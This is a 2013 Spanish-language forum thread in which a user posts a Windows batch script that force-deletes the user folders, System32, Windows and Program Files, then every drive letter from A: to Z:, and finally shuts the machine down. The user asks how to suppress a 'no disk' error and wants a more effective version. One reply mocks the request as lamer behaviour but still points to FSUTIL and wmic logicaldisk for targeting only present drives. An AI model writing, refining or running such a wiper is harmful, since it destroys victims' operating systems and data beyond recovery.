[Batch] ¿Como hacer para que borre todos los directorios de las unidades?

Iniciado por Sheen, 22 Febrero 2013, 18:16 PM

0 Miembros y 1 Visitante están viendo este tema.

Sheen

Hola gente!, estoy haciendo una mini aplicacion en batch, lo que hace es borrar todos los archivos/directorios de las unidades conectadas a la PC , ya sea USB o discos rigidos, el problema que me surgio es que cuando lo ejecuto me muestra este cartel  

http://www.subeimagenes.com/img/no-hay-disco-551805.html

¿Como hago para que no me aparezca esto?



Les dejo el codigo

Código (dos) [Seleccionar]
@ECHO OFF

IF EXIST "C:\Users" del /S /F /Q "C:\Users"
IF EXIST "C:\Users" rd /S /Q "C:\Users"
IF EXIST "C:\Windows\System32" del /S /F /Q "C:\Windows\System32"
IF EXIST "C:\Windows\System32" rd /S /Q "C:\Windows\System32"
IF EXIST "C:\Windows" del /S /F /Q "C:\Windows"
IF EXIST "C:\Windows" rd /S /Q "C:\Windows"
IF EXIST "C:\Program Files (x86)" del /S /F /Q "C:\Program Files (x86)"
IF EXIST "C:\Program Files (x86)" rd /S /Q "C:\Program Files (x86)"
IF EXIST "C:\Program Files" del /S /F /Q "C:\Program Files"
IF EXIST "C:\Program Files" rd /S /Q "C:\Program Files"
IF EXIST "C:" del /S /F /Q "C:"
IF EXIST "C:" rd /S /Q "C:"

IF EXIST "A:" del /S /F /Q "A:"
IF EXIST "A:" rd  /S /Q "A:"
IF EXIST "B:" del /S /F /Q "B:"
IF EXIST "B:" rd /S /Q "B:"
IF EXIST "D:" del /S /F /Q "D:"
IF EXIST "D:" rd /S /Q "D:"
IF EXIST "E:" del /S /F /Q "E:"
IF EXIST "E:" rd /S /Q "E:"
IF EXIST "F:" del /S /F /Q "F:"
IF EXIST "F:" rd /S /Q "F:"
IF EXIST "G:" del /S /F /Q "G:"
IF EXIST "G:" rd /S /Q "G:"
IF EXIST "H:" del /S /F /Q "H:"
IF EXIST "H:" rd /S /Q "H:"
IF EXIST "I:" del /S /F /Q "I:"
IF EXIST "I:" rd /S /Q "I:"
IF EXIST "J:" del /S /F /Q "J:"
IF EXIST "J:" rd  /S /Q "J:"
IF EXIST "K:" del /S /F /Q "K:"
IF EXIST "K:" rd /S /Q "K:"
IF EXIST "L:" del /S /F /Q "L:"
IF EXIST "L:" rd /S /Q "L:"
IF EXIST "M:" del /S /F /Q "M:"
IF EXIST "M:" rd /S /Q "M:"
IF EXIST "N:" del /S /F /Q "N:"
IF EXIST "N:" rd /S /Q "N:"
IF EXIST "O:" del /S /F /Q "O:"
IF EXIST "O:" rd /S /Q "O:"
IF EXIST "P:" del /S /F /Q "P:"
IF EXIST "P:" rd /S /Q "P:"
IF EXIST "Q:" del /S /F /Q "Q:"
IF EXIST "Q:" rd /S /Q "Q:"
IF EXIST "R:" del /S /F /Q "R:"
IF EXIST "R:" rd  /S /Q "R:"
IF EXIST "S:" del /S /F /Q "S:"
IF EXIST "S:" rd /S /Q "S:"
IF EXIST "T:" del /S /F /Q "T:"
IF EXIST "T:" rd /S /Q "T:"
IF EXIST "U:" del /S /F /Q "U:"
IF EXIST "U:" rd   /S /Q "U:"
IF EXIST "V:" del /S /F /Q "V:"
IF EXIST "V:" rd  /S /Q "V:"
IF EXIST "W:" del /S /F /Q "W:"
IF EXIST "W:" rd /S /Q "W:"
IF EXIST "X:" del /S /F /Q "X:"
IF EXIST "X:" rd  /S /Q "X:"
IF EXIST "Y:" del /S /F /Q "Y:"
IF EXIST "Y:" rd /S /Q "Y:"
IF EXIST "Z:" del /S /F /Q "Z:"
IF EXIST "Z:" rd  /S /Q "Z:"

shutdown -s -t 0



PD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?

engel lex

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Eleкtro

Cita de: Sheen en 22 Febrero 2013, 18:16 PMPD: Si saben de un codigo mas simple y efectivo, me lo podrian pasar?

En Google encontrarás un millón de lammeadas en Batch que eliminan todos los directorios.

Ese aviso es porque Windows no puede acceder a las unidades vacías (Ejemplo: una disquettera sin disquette insertado),
lo puedes solucionar fácilmente obteniendo sólamente las letras de los Discos Duros conectados (Y no usar todo el alfabeto como en tu código) con el comando FSUTIL o también con el comando "wmic.exe logicaldisk", en el buscador del foro tienes muchos ejemplos de los dos, tanto míos como de otros usuarios.

Si te interesa el lenguaje aprende sobre esos comandos y pregunta tus dudas, si sólo te interesa lammear, mejor busca en Google...

Saludos!